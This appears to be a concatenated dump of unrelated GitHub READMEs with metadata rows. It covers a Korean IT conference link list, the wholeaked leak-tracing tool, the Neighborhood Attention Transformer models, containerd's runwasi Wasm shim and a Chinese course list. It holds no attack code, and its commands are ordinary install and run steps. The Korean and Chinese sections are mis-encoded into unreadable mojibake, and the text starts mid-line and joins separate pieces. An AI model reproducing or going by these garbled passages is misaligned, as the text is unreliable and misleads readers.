์ปจํผ๋ฐ์ค](https://www.youtube.com/playlist?list=PLumdCu9Q56Koxg5-QgDjFiTJXl0YCWS-G) - 2022.04.28
- [AI Cyber Security Summit 2022](https://www.youtube.com/playlist?list=PLumdCu9Q56KoTyvg-1UEVQo-XXHfEnHr3) - 2022.06.29
- SMART WORK KOREA SUMMIT - [2021](https://www.youtube.com/playlist?list=PLumdCu9Q56KotSnS635wsz-U1dat3SkDa) | [2022](https://www.youtube.com/playlist?list=PLumdCu9Q56KpC23VodBNoqdoqGXaW5tD6) - 2022.08.25
- ์ฝ๋ฆฌ์ RPA ๊ทธ๋๋ ์๋ฐ - [2021](https://www.youtube.com/playlist?list=PLumdCu9Q56KrUlNz1Ei-UhrkU-EyMklZX) | [2022](https://www.youtube.com/playlist?list=PLumdCu9Q56KqSqutlFHBGFfn4VlMqwAyC) - 2022.04.29
- ๋์งํธํฌ๋ฐ์ด [์จ๋น๋](http://www.digitaltoday.co.kr/bbs/list.html?table=bbs_27)
- [Digital Today TV Live](https://www.youtube.com/playlist?list=PL28NueUz2IV-5FCDu8X0eHRwPOXtxXPXA) - 2022.05.26
- IT์กฐ์ ์ ํ๋ธ ์ฑ๋ [ํ
ํฌ์ผ์ฐ๊ตฌ์](https://www.youtube.com/c/TechCafe2013)
- ํด๋ผ์ฐ๋ ์จ๋ผ์ธ ์ปจํผ๋ฐ์ค [2022 ๋ฐ์ดํฐ ๋๋ฆฌ๋ธ ์๋](https://youtu.be/LC6rMLgH08g?list=PL18jcdQAgye-x3e4TO85gowHqWCUpH6Wo) | [2023 ๋์งํธ ๋์ ํ๊ณผ ์ด๊ฑฐ๋ AI](https://youtu.be/fmUoLHOJ7tQ?list=PL18jcdQAgye-x3e4TO85gowHqWCUpH6Wo) - 2023.03.29
- [AI ์ ๋ง 2022์จ๋น๋](https://www.youtube.com/playlist?list=PL18jcdQAgye-x3e4TO85gowHqWCUpH6Wo) | [AI&COULD 2024](https://www.youtube.com/playlist?list=PL18jcdQAgye9fWSDyHdvvGdty3OMB6afU) - 2024.03.27
- Startup Alliance Korea
- ์ค๋ฆฌ์ฝ๋ฐธ๋ฆฌ์ ํ๊ตญ์ธ - [2020](https://www.youtube.com/playlist?list=PLy5RUqlc3TGF_0HysuC1lWW0h0x9-jUqi) | [2021](https://www.youtube.com/playlist?list=PLy5RUqlc3TGFPLAlHx3sXz26bMoUM3LL-) | [2022](https://www.youtube.com/playlist?list=PLy5RUqlc3TGH9eHISCJ-HCOI1PNWw5fPT) | [2023](https://www.youtube.com/playlist?list=PLy5RUqlc3TGGFE41jnRQc5mB56qKGgUPy) - 2023.10.11
- Agile Korea
- [AKC](https://www.facebook.com/AgileKoreaConference) - [2020](https://www.youtube.com/playlist?list=PLqLyqFSqvAE5ZmYBRsAaHIwfCKRBRaYqy) | [2021](https://www.youtube.com/playlist?list=PLqLyqFSqvAE4nquOU5p5-eeoxfkdZK5Th) - 2021.12.09
- ํ๋น๋ฏธ๋์ด
- [๋ฐ๋ธ๊ทธ๋ผ์ด๋ 2019](https://www.youtube.com/playlist?list=PLVsNizTWUw7HxXDshrgEr5eeHf2cqjtqA) | [๋ฐ๋ธ๊ทธ๋ผ์ด๋ ์ฃผ๋์ด 2019](https://www.youtube.com/playlist?list=PLVsNizTWUw7EOvb0_pJ94NZRnScD0jpzI) - 2019.12.13
## ์ถ๊ฐ๋ฆฌ์์ค
- [๋ฌด๋ฃ ํ๋ก๊ทธ๋๋ฐ Ebook](https://github.com/EbookFoundation/free-programming-books/blob/main/books/free-programming-books-ko.md)
- [ํ๋ก๊ทธ๋๋ฐ ์ธ์ด๋ณ ๋ฐ์ดํฐ ๊ตฌ์กฐ ๋ฐ ์๊ณ ๋ฆฌ์ฆ ํ์ต](https://github.com/TheAlgorithms)
## ์ฐธ๊ณ ๋งํฌ
- https://github.com/brave-people/Dev-Event
| ๐ ์ต๊ทผ ๊ตญ๋ด IT ์ธ๋ฏธ๋ ๋ฐ ๊ฐ๋ฐ์๐ป ์ปจํผ๋ฐ์ค ์์์ ๋ค์ ๋ณด๊ธฐ๐ ๋งํฌ๋ฅผ ํ๊ณณ์ ์ ๋ฆฌํ์ต๋๋ค! | developer,conference,readme,it,korean,docs,ai,cloud,data,meeup | 0 | 5 | 5 | 454 | 0 | 1 | 1 |
utkusen/wholeaked | # Introduction
```
,_
,' '\,_ Utku Sen's
|_,-'_) wholeaked
/##c '\ (
' |' -{. ) "When you have eliminated the impossible,
/\__-' \[] whatever remains, however improbable,
/'-_'\ must be the truth" - Sherlock Holmes
' \
```
wholeaked is a file-sharing tool that allows you to find the responsible person in case of a leakage. It's written in Go.
## How?
wholeaked gets the file that will be shared and a list of recipients. It creates a unique signature for each recipient and adds it to the file secretly. After then, it can automatically send files to the corresponding recipients by using Sendgrid, AWS SES or SMTP integrations. Instead of sending them by e-mail, you can also share them manually.
wholeaked works with every file type. However, it has additional features for common file types such as PDF, DOCX, MOV etc.
### Sharing Process
```
+-----------+
|Top Secret |
|.pdf |
| |
-| |
/ | |
/ |Hidden |
a@gov / |signature1 |
/ +-----------+
/ +-----------+
+-----------++-----------+ / |Top Secret |
|Top Secret ||Recipient | / |.pdf |
|.pdf ||List | +---------+ / | |
| || | |utkusen/ | / b@gov | |
| ||a@gov |----->|wholeaked| /----------+ |
| ||b@gov | | | \ |Hidden |
| ||c@gov | +---------+ \ |signature2 |
| || | \ +-----------+
+-----------++-----------+ \ +-----------+
\ |Top Secret |
\ |.pdf |
c@gov \ | |
\ | |
\ | |
\ |Hidden |
-|signature3 |
+-----------+
```
### Validation Part
To find who leaked the document, you just need to provide the leaked file to wholeaked, and it will reveal the responsible person by comparing the signatures in the database.
```
+-----------+ +---------+
|Top Secret | |Signature|
|.pdf | +---------+|Database |
| | |utkusen/ || | Document leaked by
| |->|wholeaked|| |--------+
| | | || | b@gov
|Hidden | +---------+| |
|Signature2 | | |
+-----------+ +---------+
```
## Demonstration Video
[](https://www.youtube.com/watch?v=EEDtXp9ngHw)
## File Types and Detection Modes
wholeaked can add the unique signature to different sections of a file. Available detection modes are given below:
**File Hash:** SHA256 hash of the file. All file types are supported.
**Binary:** The signature is directly added to the binary. *Almost* all file types are supported.
**Metadata:** The signature is added to a metadata section of a file. Supported file types: PDF, DOCX, XLSX, PPTX, MOV, JPG, PNG, GIF, EPS, AI, PSD
**Watermark:** An invisible signature is inserted into the text. Only PDF files are supported.
# Installation
## From Binary
You can download the pre-built binaries from the [releases](https://github.com/utkusen/wholeaked/releases/latest) page and run. For example:
`unzip wholeaked_0.1.0_macOS_amd64.zip`
`./wholeaked --help`
## From Source
1) Install Go on your system
2) Run: `go install github.com/utkusen/wholeaked@latest`
## Installing Dependencies
wholeaked requires `exiftool` for adding signatures to metadata section of files. If you don't want to use this feature, you don't need to install it.
1) Debian-based Linux: Run `apt install exiftool`
2) macOS: Run `brew install exiftool`
3) Windows: Download exiftool from here https://exiftool.org/ and put the `exiftool.exe` in the same directory with wholeaked.
wholeaked requires `pdftotext` for verifying watermarks inside PDF files. If you don't want to use this feature, you don't need to install it.
1) Download "Xpdf command line tools" for Linux, macOS or Windows from here: https://www.xpdfreader.com/download.html
2) Extract the archive and navigate to `bin64` folder.
3) Copy the `pdftotext` (or `pdftotext.exe`) executable to the same folder with wholeaked
4) For Debian Based Linux: Run `apt install libfontconfig` command.
# Usage
## Basic Usage
wholeaked requires a project name `-n`, the path of the base file which the signatures will add `-f` and a list of target recipients `-t`
Example command: `./wholeaked -n test_project -f secret.pdf -t targets.txt`
The `targets.txt` file should contain name and the e-mail address in the following format:
```
Utku Sen,utku@utkusen.com
Bill Gates,bill@microsoft.com
```
After execution is completed, the following unique files will be generated:
```
test_project/files/Utku_Sen/secret.pdf
test_project/files/Bill_Gates/secret.pdf
```
By default, wholeaked adds signatures to all available places that are defined in the "File Types and Detection Modes" section. If you don't want to use a method, you can define it with a `false` flag. For example:
`./wholeaked -n test_project -f secret.pdf -t targets.txt -binary=false -metadata=false -watermark=false`
## Sending E-mails
In order to send e-mails, you need to fill some sections in the `CONFIG` file.
- If you want to send e-mails via Sendgrid, type your API key to the `SENDGRID_API_KEY` section.
- If you want to send e-mails via AWS SES integration, you need to install `awscli` on your machine and add the required AWS key to it. wholeaked will read the key by itself. But you need to fill the `AWS_REGION` section in the config file.
- If you want to send e-mails via a SMTP server, fill the `SMTP_SERVER`, `SMTP_PORT`, `SMTP_USERNAME`, `SMTP_PASSWORD` sections.
The other necessary fields to fill:
- `EMAIL_TEMPLATE_PATH` Path of the e-mail's body. You can specify use HTML or text format.
- `EMAIL_CONTENT_TYPE` Can be `html` or `text`
- `EMAIL_SUBJECT` Subject of the e-mail
- `FROM_NAME` From name of the e-mail
- `FROM_EMAIL` From e-mail of the e-mail
To specify the sending method, you can use `-sendgrid`, `-ses` or `-smtp` flags. For example:
`./wholeaked -n test_project -f secret.pdf -t targets.txt -sendgrid`
## Validating a Leaked File
You can use the `-validate` flag to reveal the owner of a leaked file. wholeaked will compare the signatures detected in the file and the database located in the project folder. Example:
`./wholeaked -n test_project -f secret.pdf -validate`
**Important:** You shouldn't delete the `project_folder/db.csv` file if you want to use the file validation feature. If that file is deleted, wholeaked won't be able to compare the signatures.
# Donation
Loved the project? You can buy me a coffee
<a href="https://www.buymeacoffee.com/utkusen" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/default-orange.png" alt="Buy Me A Coffee" height="41" width="174"></a>
| a file-sharing tool that allows you to find the responsible person in case of a leakage | osint,security,file-sharing,privacy,privacy-tools | 1 | 5 | 5 | 17 | 1 | 1 | 0 |
SHI-Labs/Neighborhood-Attention-Transformer | # Neighborhood Attention Transformers
<a href="https://openaccess.thecvf.com/content/CVPR2023/html/Hassani_Neighborhood_Attention_Transformer_CVPR_2023_paper.html"><img src="https://img.shields.io/badge/CVPR2023-Neighborhood%20Attention%20Transformer-%2300B0F0" /></a>
<a href="https://arxiv.org/abs/2209.15001"><img src="https://img.shields.io/badge/arXiv-Dilated%20Neighborhood%20Attention%20Trasnformer-%23C209C1" /></a>
[<img src="https://img.shields.io/badge/CUDA%20Extension-NATTEN-%23fc6562" />](https://github.com/SHI-Labs/NATTEN)
[](https://paperswithcode.com/sota/instance-segmentation-on-ade20k-val?p=dilated-neighborhood-attention-transformer)
[](https://paperswithcode.com/sota/panoptic-segmentation-on-ade20k-val?p=dilated-neighborhood-attention-transformer)
[](https://paperswithcode.com/sota/instance-segmentation-on-cityscapes-val?p=dilated-neighborhood-attention-transformer)
[](https://paperswithcode.com/sota/panoptic-segmentation-on-coco-minival?p=dilated-neighborhood-attention-transformer)
[](https://paperswithcode.com/sota/semantic-segmentation-on-ade20k-val?p=dilated-neighborhood-attention-transformer)
[](https://paperswithcode.com/sota/semantic-segmentation-on-cityscapes-val?p=dilated-neighborhood-attention-transformer)
[](https://paperswithcode.com/sota/panoptic-segmentation-on-cityscapes-val?p=dilated-neighborhood-attention-transformer)
[](https://paperswithcode.com/sota/instance-segmentation-on-coco-minival?p=dilated-neighborhood-attention-transformer)
[](https://paperswithcode.com/sota/image-generation-on-ffhq-256-x-256?p=stylenat-giving-each-head-a-new-perspective)
[](https://paperswithcode.com/sota/image-generation-on-ffhq-1024-x-1024?p=stylenat-giving-each-head-a-new-perspective)
[](https://paperswithcode.com/sota/image-generation-on-lsun-churches-256-x-256?p=stylenat-giving-each-head-a-new-perspective)
**Powerful hierarchical vision transformers based on sliding window attention.**
Neighborhood Attention (NA, local attention) was introduced in our original paper,
[NAT](NAT.md), and runs efficiently with our extension to PyTorch, [NATTEN](https://github.com/SHI-Labs/NATTEN).
We recently introduced a new model, [DiNAT](DiNAT.md),
which extends NA by dilating neighborhoods (DiNA, sparse global attention, a.k.a. dilated local attention).
Combinations of NA/DiNA are capable of preserving locality, maintaining
translational equivariance,
expanding the receptive field exponentially,
and capturing longer-range inter-dependencies,
leading to significant performance boosts in downstream vision tasks, such as
[StyleNAT](https://github.com/SHI-Labs/StyleNAT) for image generation.
# News
### March 25, 2023
* Neighborhood Attention Transformer was accepted to CVPR 2023!
### November 18, 2022
* NAT and DiNAT are now available through HuggingFace's [transformers](https://github.com/huggingface/transformers).
* NAT and DiNAT classification models are also available on the HuggingFace's Model Hub: [NAT](https://huggingface.co/models?filter=nat) | [DiNAT](https://huggingface.co/models?filter=dinat)
### November 11, 2022
* New preprint: [StyleNAT: Giving Each Head a New Perspective](https://github.com/SHI-Labs/StyleNAT).
* Style-based GAN powered with Neighborhood Attention sets new SOTA on FFHQ-256 with a 2.05 FID.
### October 8, 2022
* [NATTEN](https://github.com/SHI-Labs/NATTEN) is now [available as a pip package](https://www.shi-labs.com/natten/)!
* You can now install NATTEN with pre-compiled wheels, and start using it in seconds.
* NATTEN will be maintained and developed as a [separate project](https://github.com/SHI-Labs/NATTEN) to support broader usage of sliding window attention, even beyond computer vision.
### September 29, 2022
* New preprint: [Dilated Neighborhood Attention Transformer](DiNAT.md).
# Dilated Neighborhood Attention :fire:
A new hierarchical vision transformer based on Neighborhood Attention (local attention) and Dilated Neighborhood Attention (sparse global attention) that enjoys significant performance boost in downstream tasks.
Check out the [DiNAT README](DiNAT.md).
# Neighborhood Attention Transformer
Our original paper, [Neighborhood Attention Transformer (NAT)](NAT.md), the first efficient sliding-window local attention.
# How Neighborhood Attention works
Neighborhood Attention localizes the query token's (red) receptive field to its nearest neighboring tokens in the key-value pair (green).
This is equivalent to dot-product self attention when the neighborhood size is identical to the image dimensions.
Note that the edges are special (edge) cases.
# Citation
```bibtex
@inproceedings{hassani2023neighborhood,
title = {Neighborhood Attention Transformer},
author = {Ali Hassani and Steven Walton and Jiachen Li and Shen Li and Humphrey Shi},
booktitle = {Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR)},
month = {June},
year = {2023},
pages = {6185-6194}
}
@article{hassani2022dilated,
title = {Dilated Neighborhood Attention Transformer},
author = {Ali Hassani and Humphrey Shi},
year = 2022,
url = {https://arxiv.org/abs/2209.15001},
eprint = {2209.15001},
archiveprefix = {arXiv},
primaryclass = {cs.CV}
}
@article{walton2022stylenat,
title = {StyleNAT: Giving Each Head a New Perspective},
author = {Steven Walton and Ali Hassani and Xingqian Xu and Zhangyang Wang and Humphrey Shi},
year = 2022,
url = {https://arxiv.org/abs/2211.05770},
eprint = {2211.05770},
archiveprefix = {arXiv},
primaryclass = {cs.CV}
}
```
| Neighborhood Attention Transformer, arxiv 2022 / CVPR 2023. Dilated Neighborhood Attention Transformer, arxiv 2022 | neighborhood-attention,pytorch | 0 | 9 | 27 | 107 | 1 | 2 | 0 |
containerd/runwasi | 
# runwasi
> Warning: Alpha quality software, do not use in production.
This is a project to facilitate running wasm workloads managed by containerd either directly (ie. through ctr) or as directed by Kubelet via the CRI plugin.
It is intended to be a (rust) library that you can take and integrate with your wasm host.
Included in the repository is a PoC for running a plain wasi host (ie. no extra host functions except to support wasi system calls).
## Community
- If you haven't joined the CNCF slack yet, you can do so [here](https://slack.cncf.io/).
- Come join us on our [slack channel #runwasi](https://cloud-native.slack.com/archives/C04LTPB6Z0V)
on the CNCF slack.
- Public Community Call on Tuesdays every other week at 9:00 AM PT: [Zoom](https://zoom.us/my/containerd?pwd=bENmREpnSGRNRXdBZWV5UG8wbU1oUT09), [Meeting Notes](https://docs.google.com/document/d/1aOJ-O7fgMyRowHD0kOoA2Z_4d19NyAvvdqOkZO3Su_M/edit?usp=sharing)
## Usage
runwasi is intended to be consumed as a library to be linked to from your own wasm host implementation.
There are two modes of operation supported:
1. "Normal" mode where there is 1 shim process per container or k8s pod.
2. "Shared" mode where there is a single manager service running all shims in process.
In either case you need to implement a trait to teach runwasi how to use your wasm host.
There are two ways to do this:
* implementing the `sandbox::Instance` trait
* or implementing the `container::Engine` trait
The most flexible but complex is the `sandbox::Instance` trait:
```rust
pub trait Instance {
/// The WASI engine type
type Engine: Send + Sync + Clone;
/// Create a new instance
fn new(id: String, cfg: Option<&InstanceConfig<Self::E>>) -> Self;
/// Start the instance
/// The returned value should be a unique ID (such as a PID) for the instance.
/// Nothing internally should be using this ID, but it is returned to containerd where a user may want to use it.
fn start(&self) -> Result<u32, Error>;
/// Send a signal to the instance
fn kill(&self, signal: u32) -> Result<(), Error>;
/// Delete any reference to the instance
/// This is called after the instance has exited.
fn delete(&self) -> Result<(), Error>;
/// Wait for the instance to exit
/// The waiter is used to send the exit code and time back to the caller
/// Ideally this would just be a blocking call with a normal result, however
/// because of how this is called from a thread it causes issues with lifetimes of the trait implementer.
fn wait(&self, waiter: &Wait) -> Result<(), Error>;
}
```
The `container::Engine` trait provides a simplified API:
```rust
pub trait Engine: Clone + Send + Sync + 'static {
/// The name to use for this engine
fn name() -> &'static str;
/// Run a WebAssembly container
fn run_wasi(&self, ctx: &impl RuntimeContext, stdio: Stdio) -> Result<i32>;
/// Check that the runtime can run the container.
/// This checks runs after the container creation and before the container starts.
/// By it checks that the wasi_entrypoint is either:
/// * a file with the `wasm` filetype header
/// * a parsable `wat` file.
fn can_handle(&self, ctx: &impl RuntimeContext) -> Result<()> { /* default implementation*/ }
}
```
After implementing `container::Engine` you can use `container::Instance<impl container::Engine>`, which implements the `sandbox::Instance` trait.
To use your implementation in "normal" mode, you'll need to create a binary which has a main that looks something like this:
```rust
use containerd_shim as shim;
use containerd_shim_wasm::sandbox::{ShimCli, Instance}
struct MyInstance {
// ...
}
impl Instance for MyInstance {
// ...
}
fn main() {
shim::run::<ShimCli<MyInstance>>("io.containerd.myshim.v1", opts);
}
```
or when using the `container::Engine` trait, like this:
```rust
use containerd_shim as shim;
use containerd_shim_wasm::{sandbox::ShimCli, container::{Instance, Engine}}
struct MyEngine {
// ...
}
impl Engine for MyEngine {
// ...
}
fn main() {
shim::run::<ShimCli<Instance<Engine>>>("io.containerd.myshim.v1", opts);
}
```
Note you can implement your own ShimCli if you like and customize your wasm engine and other things.
I encourage you to checkout how that is implemented.
The shim binary just needs to be installed into `$PATH` (as seen by the containerd process) with a binary name like `containerd-shim-myshim-v1`.
For the shared mode:
```rust
use containerd_shim_wasm::sandbox::{Local, ManagerService, Instance};
use containerd_shim_wasm::services::sandbox_ttrpc::{create_manager, Manager};
use std::sync::Arc;
use ttrpc::{self, Server};
/// ...
struct MyInstance {
/// ...
}
impl Instance for MyInstance {
// ...
}
fn main() {
let s: ManagerService<Local<MyInstance>> =
ManagerService::new(Engine::new(Config::new().interruptable(true)).unwrap());
let s = Arc::new(Box::new(s) as Box<dyn Manager + Send + Sync>);
let service = create_manager(s);
let mut server = Server::new()
.bind("unix:///run/io.containerd.myshim.v1/manager.sock")
.unwrap()
.register_service(service);
server.start().unwrap();
let (_tx, rx) = std::sync::mpsc::channel::<()>();
rx.recv().unwrap();
}
```
This will be the host daemon that you startup and manage on your own.
You can use the provided `containerd-shim-myshim-v1` binary as the shim to specify in containerd.
Shared mode requires precise control over real threads and as such should not be used with an async runtime.
Check out these projects that build on top of runwasi:
- [spinkube/containerd-shim-spin](https://github.com/spinkube/containerd-shim-spin)
- [deislabs/containerd-wasm-shims](https://github.com/deislabs/containerd-wasm-shims)
### Components
- **containerd-shim-[ wasmedge | wasmtime | wasmer ]-v1**
This is a containerd shim which runs wasm workloads in [WasmEdge](https://github.com/WasmEdge/WasmEdge) or [Wasmtime](https://github.com/bytecodealliance/wasmtime) or [Wasmer](https://github.com/wasmerio/wasmer).
You can use it with containerd's `ctr` by specifying `--runtime=io.containerd.[ wasmedge | wasmtime | wasmer ].v1` when creating the container.
And make sure the shim binary must be in $PATH (that is the $PATH that containerd sees). Usually you just run `make install` after `make build`.
> build shim with wasmedge we need install library first
This shim runs one per pod.
- **containerd-shim-[ wasmedge | wasmtime | wasmer ]d-v1**
A cli used to connect containerd to the `containerd-[ wasmedge | wasmtime | wasmer ]d` sandbox daemon.
When containerd requests for a container to be created, it fires up this shim binary which will connect to the `containerd-[ wasmedge | wasmtime | wasmer ]d` service running on the host.
The service will return a path to a unix socket which this shim binary will write back to containerd which containerd will use to connect to for shim requests.
This binary does not serve requests, it is only responsible for sending requests to the `containerd-[ wasmedge | wasmtime | wasmer ]d` daemon to create or destroy sandboxes.
- **containerd-[ wasmedge | wasmtime | wasmer ]d**
This is a sandbox manager that enables running 1 wasm host for the entire node instead of one per pod (or container).
When a container is created, a request is sent to this service to create a sandbox.
The "sandbox" is a containerd task service that runs in a new thread on its own unix socket, which we return back to containerd to connect to.
The Wasmedge / Wasmtime / Wasmer engine is shared between all sandboxes in the service.
To use this shim, specify `io.containerd.[ wasmedge | wasmtime | wasmer ]d.v1` as the runtime to use.
You will need to make sure the `containerd-[ wasmedge | wasmtime | wasmer ]d` daemon has already been started.
## Contributing
To begin contributing, learn to build and test the project or to add a new shim please read our [CONTRIBUTING.md](./CONTRIBUTING.md)
## Demo
### Installing the shims for use with Containerd
Make sure you have [installed dependencies](./CONTRIBUTING.md#setting-up-your-local-environment) and install the shims:
```terminal
make build
sudo make install
```
> Note: `make build` will only build one binary. The `make install` command copies the binary to $PATH and uses symlinks to create all the component described above.
Build the test image and load it into containerd:
```
make test-image
make load
```
### Demo 1 using container image that contains a Wasm module.
Run it with `sudo ctr run --rm --runtime=io.containerd.[ wasmedge | wasmtime | wasmer ].v1 ghcr.io/containerd/runwasi/wasi-demo-app:latest testwasm /wasi-demo-app.wasm echo 'hello'`. You should see some output repeated like:
```terminal
sudo ctr run --rm --runtime=io.containerd.wasmtime.v1 ghcr.io/containerd/runwasi/wasi-demo-app:latest testwasm
This is a song that never ends.
Yes, it goes on and on my friends.
Some people started singing it not knowing what it was,
So they'll continue singing it forever just because...
This is a song that never ends.
Yes, it goes on and on my friends.
Some people started singing it not knowing what it was,
So they'll continue singing it forever just because...
(...)
```
To kill the process, you can run in other session: `sudo ctr task kill -s SIGKILL testwasm`.
The test binary supports commands for different type of functionality, check [crates/wasi-demo-app/src/main.rs](crates/wasi-demo-app/src/main.rs) to try it out.
### Demo 2 using OCI Images with custom WASM layers
The previous demos run with an OCI Container image containing the wasm module in the file system. Another option is to provide a cross-platform OCI Image that that will not have the wasm module or components in the file system of the container that wraps the wasmtime/wasmedge process. This OCI Image with custom WASM layers can be run across any platform and provides for de-duplication in the Containerd content store among other benefits. To build OCI images using your own images you can use the [oci-tar-builder](./crates/oci-tar-builder/README.md)
To learn more about this approach checkout the [design document](https://docs.google.com/document/d/11shgC3l6gplBjWF1VJCWvN_9do51otscAm0hBDGSSAc/edit).
> **Note**: This requires containerd 1.7.7+ and 1.6.25+. If you do not have these patches for both `containerd` and `ctr` you will end up with an error message such as `mismatched image rootfs and manifest layers` at the import and run steps. Latest versions of k3s and kind have the necessary containerd versions.
Build and import the OCI image with WASM layers image:
```
make test-image/oci
make load/oci
```
Run the image with `sudo ctr run --rm --runtime=io.containerd.[ wasmedge | wasmtime | wasmer ].v1 ghcr.io/containerd/runwasi/wasi-demo-oci:latest testwasmoci`
```
sudo ctr run --rm --runtime=io.containerd.wasmtime.v1 ghcr.io/containerd/runwasi/wasi-demo-oci:latest testwasmoci wasi-demo-oci.wasm echo 'hello'
hello
exiting
```
| Facilitates running Wasm / WASI workloads managed by containerd | containerd,kubernetes,rust,wasi,wasm,webassembly | 25 | 57 | 488 | 1,068 | 51 | 7 | 10 |
forthespada/Awsome-Courses | <p align="center">
<a href="https://github.com/awesome-cs-community/Awsome-Courses" target="_blank">
<img src="http://oss.interviewguide.cn/img/202203261514544.png" alt="loading">
</a>
</p>
<p align="center">โ MITๆฏๆๆ็ๅทฅ็งๅญฆๅญ็ๅฃๆฎฟ๏ผ็ด ไปฅ้กถๅฐ็ๅทฅ็จๅญฆๅ่ฎก็ฎๆบ็งๅญฆ่่ๅใโ<br> ๆๅๆ็ฎๆป็ปไธไปฝMIT็่ฎก็ฎ่ฏพ็จๅ่กจ๏ผๆฒกๆณๅฐๅๆฅ่ถ็่ถๅค๏ผ<strong>MITใCMUใPKUใTHU....่ฎฉไฝ ็ๅฐๅคด็ง...</strong></p>
๐ ๆจ่๏ผ**ๅฆๆๅฐไผไผด่ฎฟ้ฎGithubไปๅบ้ๅบฆ่พๆ
ข๏ผๅฏไปฅ่ฎฟ้ฎ[็ ไบ](https://gitee.com/ForthEspada/Awsome-Courses)๏ผๆๅจ็ ไบไธไนๆพไบไธไปฝ๏ผๅๆญฅๆดๆฐ**
<b><details><summary>:orange_book:ย ไปๅบ่ดก็ฎๆๅ</summary></b>
- ็นๅปๅณไธ่ง`fork`ๆ้ฎ๏ผๅฐ้กน็ฎ`fork`ๅฐ่ชๅทฑ็Github่ดฆๆท้ใ
- ไฝฟ็จ`git clone`ๅฐ้กน็ฎๅ
้ๅฐๆฌๅฐใ
```
git clone https://github.com/forthespada/Awsome-Courses.git
```
- ็จ็ผ่พๅจๆๅผ่ฟ่ก่ดก็ฎ๏ผ็ถๅๆไบคๅฐ`fork`็ไปๅบใ
```
code .
git add .
git commit -m "What did you do?"
git push origin master
```
- ๆไบค`Pull request`
</details>
## ็ผ็จ่ตๆบๅไบซ
ๅญฆไน ่ฎก็ฎๆบ่ฟไนๅคๅนดไปฅๆฅ๏ผๆ
ขๆ
ข็ไนๆถ้ๅฐไธไบไธ้็ๅญฆไน ่ตๆบ๏ผ็ฐๅจๅ
่ดนๅไบซไธไธใ
### 1ใๆ่ชๅทฑ็ๅญฆไน ็ฌ่ฎฐ็ฝ็ซ
<div>
ไปๆ กๅญ->่ๅบๅคๅนด็่ฎก็ฎๆบ่ชๅญฆๆป็ป๏ผๅ
ๆฌไฝไธ้่ฎก็ฎๆบๅบ็ก็ฅ่ฏใ็ฎๆณใๅ็ซฏๅ็ซฏใๆ กๆ&็คพๆใไบ่็ฝไธ็บฟๅคงๅไธญ็ๅทฅไฝไฝ้ช็ญ่ฎฐๅฝ๏ผๅๆๅญฆไน ๏ผๆ็ปญๆ้ฟ๏ผ
<a href="https://interviewguide.cn/#/" target="_blank">ไผ ้้จ</a>
</div>
<div align="center">
<a href="https://interviewguide.cn/notes/01-guide/web-guide-reading.html">
<img src="http://oss.interviewguide.cn/img/202205161146636.png" target="_blank">
</a>
</div>
### 2ใๅ็ฑป็ฒพๅ็ผ็จ่ตๆบๅไบซ
<a href="https://interviewguide.cn/notes/07-resources/01-free/01-introduce.html" target="_blank">ไผ ้้จ</a>
- ้ๆฅ๏ผๆตๆฑๅคงๅญฆCSๆฌ็ง็่ฏพ็จๅผๆบไบ
- ๅคงๆ ผๅฑ๏ผๆธ
ๅๅคงๅญฆ่ฎก็ฎๆบ็ณป่ฏพ็จๆป็ฅๅ
ฑไบซ่ฎกๅ๏ผ
- 1000+่ฎก็ฎๆบ็ปๅ
ธPDF็ตๅญไนฆ
- Java/C++/Golang็ญ็ๆฌ็LeetCode็ฎๆณ้ข่งฃ
- ไพฏๆท่ๅธC++&้็ก่ๅธLinux็ฝ็ป็ผ็จๅ
จๅฅ่ง้ข
- ้ฟ้ใ็พๅบฆใๅญ่ใ่
พ่ฎฏ็ญไบ่็ฝไธไบ็บฟไธญๅๆ กๆ้ข่ฏPDFๅ้
- ่ฎก็ฎๆบ็ปๅ
ธๅพไนฆTOP50 PDF็ๆฌๅ้
- Github ไธ็ๅ็ง็กฌๆ ธๆๆฏๅญฆไน ่ทฏ็บฟๆ็ปดๅฏผๅพ~
- ๅพ่งฃๆไฝ็ณป็ปใ็ฝ็ปใ่ฎก็ฎๆบ็ปๆPDFไธ่ฝฝ๏ผ้ฃไบ่ฎฉไฝ ่ตท้ฃ็่ฎก็ฎๆบๅบ็ก็ฅ่ฏ~
- ๅ็ซฏๅฟ
ๅค๏ผSQL่ฏญๆณ้ๆๆๅ๏ผ~
- 10ๅฅ็ฎๅๆจกๆฟ๏ผWordๆ ผๅผ๏ผ็ฝๅซๅฏ็จ~
- ใPro Git ไธญๆ็ใPDF๏ผๅธฆไฝ ๅญฆไผgit็้ชๆไฝ~
- ....
## ่ฏๅฟๆจ่
ๅฆๆไฝ **ๆ่ฑ็ผ**ไบ๏ผไธ็ฅ้่ฏฅๅญฆๅชไธช๏ผ
่ฟๆฅไบบๆจ่ไฝ ๅป็็ๆฌ้กต้ข็**Crash Course Computer Science๏ผ่ฎก็ฎๆบ็งๅญฆ้ๆ่ฏพ๏ผใๅไฝๅคงๅญฆ็CS-50ใMIT็ 6.828 ใMIT ็6.824ไปฅๅๆธ
ๅๅคงๅญฆ็OS่ฏพ็จ**ใ
่ฟ5้จ่ฏพ็จๅฏนไบๅคงๅคๆฐไบบ้ฝ็ปๅฏนๅ็จ๏ผ
## ๅฝๅ
ไผ็ง็ผ็จ่ง้ข
ๅ
ถๅฎๅฝๅ
ไนๆๅพๅคไผ็ง็ผ็จ่ง้ข๏ผไปฅๅ้ฟ็งๅฐฑๆพ็ปๆป็ป่ฟไธๆ๏ผไปๅคฉไธ่ตทๅไบซๅบๆฅๅง๏ผ
**็ฌฌไธๆ**๏ผ[็นๅป็ด่พพ](https://interviewguide.cn/notes/04-experience/01-learn_experience/20210809%20-%20%E7%AC%AC%E4%B8%80%E6%9C%9F-%E6%88%91%E5%AD%A6%E7%BC%96%E7%A8%8B%E5%85%A8%E9%9D%A0B%E7%AB%99%E4%BA%86%EF%BC%8C%E7%9C%9F%E9%A6%99.html)
<img src="http://oss.interviewguide.cn/img/202203261421142.png" alt="็ฌฌไธๆ" style="width:400px;" />
**็ฌฌไบๆ**๏ผ[็นๅป็ด่พพ](https://interviewguide.cn/notes/04-experience/01-learn_experience/20210823%20-%20%E7%AC%AC%E4%BA%8C%E6%9C%9F-%E6%88%91%E5%AD%A6%E7%BC%96%E7%A8%8B%E5%85%A8%E9%9D%A0B%E7%AB%99%E4%BA%86%EF%BC%8C%E7%9C%9F%E9%A6%99.html)
